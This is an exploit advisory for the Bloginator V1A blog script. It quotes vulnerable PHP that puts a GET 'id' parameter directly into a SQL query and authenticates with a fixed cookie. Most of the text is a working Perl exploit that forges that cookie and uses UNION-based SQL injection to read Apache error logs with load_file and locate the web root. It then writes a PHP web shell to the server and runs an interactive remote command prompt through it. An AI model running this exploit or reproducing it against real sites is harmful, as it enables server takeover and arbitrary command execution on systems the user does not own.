##########################################################################
Author = FireShot , Jacopo Vuga.
Thx to = Osirys for develop the Exploitation Code with me
Mail = fireshot<at>autistici<dot>org / osirys<at>autistici<dot>org
Vulnerability = SQL Command Injection (mq = off)
Software = Bloginator V1A
Download = http://kamads.com/kamads_ads/download.php?email=bloginator&ID=0
Greets to = Myral, str0ke
###########################################################################
[CODE]
[URL] www.site.com/bloginator/articleCall.php
global $name,$password,$returnLink;
$p_name = strip_tags(substr($_POST[\'name\'],0,32));
$p_password = strip_tags(substr($_POST[\'password\'],0,32));
if(crypt($p_name , $name) == $name and crypt($p_password,$password) == $password )
{
setcookie(\"identifyYourself\",\"you are identified\");
print \"Login successfull<br>\";
print $returnLink;
}
else {print \"Wrong username or password\";
}
}
[...]
$action = @$_GET[\'action\'];
[...]
$id = $_GET[\'id\'];
[...]
function editArticle($id,$message)
{
global $returnLink;
$query = \"select * FROM articles WHERE id=\'$id\'\";
$sql = mysql_query($query) or die(mysql_query());
$title = mysql_result($sql,0,\'title\');
$title = htmlentities($title);
$article = mysql_result($sql,0,\'article\');
$article = htmlentities($article);
$link = mysql_result($sql,0,\'link\');
$link = htmlentities($link);
startHTML(\"Edit ID # \".$id);
?>
[/CODE]
[EXPLOIT]
#!/usr/bin/perl
use IO::Socket;
use LWP::UserAgent;
my $host = $ARGV[0];
my $rand = int(rand 9) +1;
my @error_logs = qw(
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/usr/local/apache/logs/error_log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error.log
/var/log/error_log
/apache/logs/error.log
);
my $php_c0de = \"<?php echo \\\"st4rt\\\";system(\\$_GET[cmd]);?>\";
($host) || help(\"-1\");
cheek($host) == 1 || help(\"-2\");
&banner;
$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);
print \"[*] Generating error through GET request ..\\n\";
get_req($host.\"/osirys_log_test\".$rand);
print \"[*] Cheeking Apache Error Log path ..\\n\";
while (($log = <@error_logs>)&&($gotcha != 1)) {
my $regexp = \"File does not exist: (.+)\\/osirys_log_test$rand\";
my $sql_load_file = \"/articleCall.php?action=edit&id=osirys\' union select 1,2,3,4,load_file(\'\".$log.\"\'),6,7 order by \'*\";
$re = sql_socket($sql_load_file,$regexp,\"1\");
if ($re !~ /Failed/) {
$site_path = $re;
$ok = 1;
}
if ($ok == 1) {
print \"[*] Error Log path found -> $log\\n\";
print \"[*] Website path found -> $site_path\\n\";
&inj_shell;
}
else {
print \"[-] Couldn\'t file error_log !\\n\";
}
}
sub inj_shell {
my $attack = \"/articleCall.php?action=edit&id=osirys\' union select 1,2,3,4,\'\".$php_c0de.\"\',6,7 into outfile \'\".$site_path.\"/1337.php\";
my $regexp = \"st4rt\";
my $re = sql_socket($attack,$regexp,\"2\");
if ($re == 1) {
print \"[*] Shell succesfully injected !\\n\";
print \"[&] Hi my master, do your job now [!]\\n\\n\";
$exec_path = $host.\"/1337.php\";
&exec_cmd;
}
else {
print \"[-] Shell not found \\n[-] Exploit failed\\n\\n\";
exit(0);
}
}
sub exec_cmd {
$h0st !~ /www\\./ || $h0st =~ s/www\\.//;
print \"shell[$h0st]\\$> \";
$cmd = <STDIN>;
$cmd !~ /exit/ || die \"[-] Quitting ..\\n\";
my $exec_path_ = $exec_path.\"?cmd=\".$cmd;
my $re = get_req($exec_path_);
my $content = tag($re);
if ($content =~ /st4rt(.+)\\*\\*6/) {
my $out = $1;
$out =~ s/\\$/ /g;
$out =~ s/\\*/\\n/g;
chomp($out);
print \"$out\\n\";
&exec_cmd;
}
else {
$c++;
$cmd =~ s/\\n//;
print \"bash: \".$cmd.\": command not found\\n\";
$c < 3 || die \"[-] Command are not executed.\\n[-] Something wrong. Exploit Failed !\\n\\n\";
&exec_cmd;
}
}
sub sql_socket() {
my($sql,$regexp,$way) = @_;
$sql = tag_encode($sql);
my $url = $path.\"/\".$sql;
my $data = \"GET \".$url.\" HTTP/1.1\\r\\n\".
\"Host: \".$h0st.\"\\r\\n\".
\"Keep-Alive: 300\\r\\n\".
\"Connection: keep-alive\\r\\n\".
\"Content-Type: application/x-www-form-urlencoded\\r\\n\".
\"Cookie: identifyYourself=you+are+identified;\\r\\n\".
\"Content-Length: 0\\r\\n\\r\\n\".
\"\\r\\n\";
my $socket = new IO::Socket::INET(
PeerAddr => $h0st,
PeerPort => \'80\',
Proto => \'tcp\',
) or die \"[-] Can\'t connect to $h0st:80\\n[?] $! \\n\\n\";
$socket->send($data);
if ($way == 1) {
while ((my $e = <$socket>)&&($stop != 1)) {
if ($e =~ /$regexp/) {
$gotcha = $1;
$stop = 1;
}
}
}
elsif ($way == 2) {
my $re = get_req($host.\"/1337.php\");
if ($re =~ /st4rt/) {
$gotcha = 1;
$stop = 1;
}
else {
$gotcha = 0;
$stop = 0;
}
}
if ($stop == 1) {
return($gotcha);
}
else {
return(\"Failed\");
}
}
sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}
sub cheek() {
my $host = $_[0];
if ($host =~ /http:\\/\\/(.*)/) {
return 1;
}
else {
return 0;
}
}
sub get_input() {
my $host = $_[0];
$host =~ /http:\\/\\/(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\\/$1/;
$full_det = $h0st.\" \".$path;
return $full_det;
}
sub tag() {
my $string = $_[0];
$string =~ s/ /\\$/g;
$string =~ s/\\s/\\*/g;
return($string);
}
sub tag_encode() {
my $sql = $_[0];
$sql =~ s/ /\\%20/g;
$sql =~ s/</\\%3C/g;
$sql =~ s/>/\\%3E/g;
$sql =~ s/\"/\\%22/g;
return($sql);
}
sub banner {
print \"\\n\".
\" ---------------------------\\n\".
\" SQL Command Injection \\n\".
\" via Cookie Bypass \\n\".
\" Bloginator V1A \\n\".
\" by FireShot & Osirys \\n\".
\" ---------------------------\\n\\n\";
}
sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print \"\\n[-] Input data failed ! \\n\";
}
elsif ($error == -2) {
&banner;
print \"\\n[-] Bad hostname address !\\n\";
}
print \"[*] Usage : perl $0 http://hostname/cms_path\\n\\n\";
exit(0);
}
[/EXPLOIT]
############################################################################
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